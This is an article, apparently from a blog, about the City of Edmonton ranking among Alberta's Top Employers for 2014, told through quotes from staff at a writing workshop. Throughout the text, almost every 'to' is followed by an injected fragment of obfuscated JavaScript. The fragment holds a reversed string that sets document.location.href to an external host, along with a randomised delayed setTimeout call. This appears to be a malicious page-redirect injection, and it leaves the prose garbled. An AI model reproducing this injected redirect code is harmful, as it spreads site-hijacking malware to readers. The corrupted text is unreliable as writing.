The City Walks the Talk

Reading the Edmontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Journal the other day, I noticed an insert on Alberta’s 65 Top Employers for 2014. The City of Edmontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton is one of them. It made me want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know what makes the City such a great place tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work. Since I was offering a writing workshop called Love Your Job, I decided tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ask the participants tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tell me.

The tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton#winner:winner-more” target=”_blank”>insert focused on benefits such as parental leave tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top-ups and flexible hours upon return tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work, ongoing employee development with formal mentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring, in-house and online training programs and tuition subsidies for job-related courses and a scholarship program for children of employees who pursue post-secondary studies. It also talks about diverse opportunities, competitive compensation packages, innovation and collaboration, and recognition programs.

But what does this actually mean tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to individual employees? I received some unexpected answers.

Leah Anderson, a clerk with Development and Zoning Services, said she likes working in Current Planning with the City of Edmontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton because of the lunches! “Every month there are Lunch & Learn programs, discussion events, film screenings, and colleagues eager tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to discuss the content of those sessions; synthesizing it intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the things Edmontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton could do, should do, and must do.”

Leah pointed out that in an administrative position, she wouldn’t usually be allowed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to attend such events, but, with the City, such events are open tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to anyone interested. “It makes me hopeful that I can contribute all of my skill(s) intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to shaping Edmontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the best version of itself. I love knowing that at the end of my day I have helped, in some small way, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to propel Edmontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton forward.”

“We all love our EDOs (Earned Days Off), so I’ll write about something else—the organizational structure,” wrote Laura Frey, “There’s an opportunity for an individual tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to move around, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to try different roles and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be supervised by different people. I’ve had six supervisors and I’ve learned from all of them; they’ve each allowed me tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to try on different roles and identities.”

“I enjoy the good pay, flexible schedule and benefits,” wrote Cara Smith, Communications Advisor. “These are all very important, but if the people inside this organization don’t have inspiration and a passion that drives their potential—what’s the worth? Eventually, we become accustobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our flexible schedules, benefits and pay. Those things don’t make the hard days easier. It’s when you can wake up in the morning with a fire that has been stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toked, not smothered, by your job and the people you work with every day…that’s a reason tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay.”

From the responses I received in the workshop, I got the sense that those fires are stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toked. “Every day I come tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work, I learn new things,” Nalini Patel, a clerk in Fire Rescue Services in the Emergency Systems Sections wrote. Nalini works with the Telecommunications Coordinatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide things like portable radios and pagers. “Without this equipment our 911 Fire Dispatchers could not communicate with the Incident commander or Firefighter on the scene,” she said. Nalina takes pride in the fact that her department serves citizens indirectly by working tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together as a team and protecting them from danger tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their life or property. She spoke of how she feels respected and valued and as though she makes a difference every day.

Exceptional places tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work are exceptional not because of the programs they have on paper, but because of what actually happens in practice. I’ll return tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Leah Anderson who put it well: “Management seminars often focus on teaching that employees want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to feel valued, respected, and that their work matters” she wrote. “What that message fails tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to convey is that the feeling is a lie if the employee isn’t valued, respected, or doesn’t matter. I have better days knowing that it is not only what I do but who I am that is valued by my peers and supervisors.”

It sounds tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to me as though the honour of being one of Alberta’s tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top employers for 2014 is well deserved.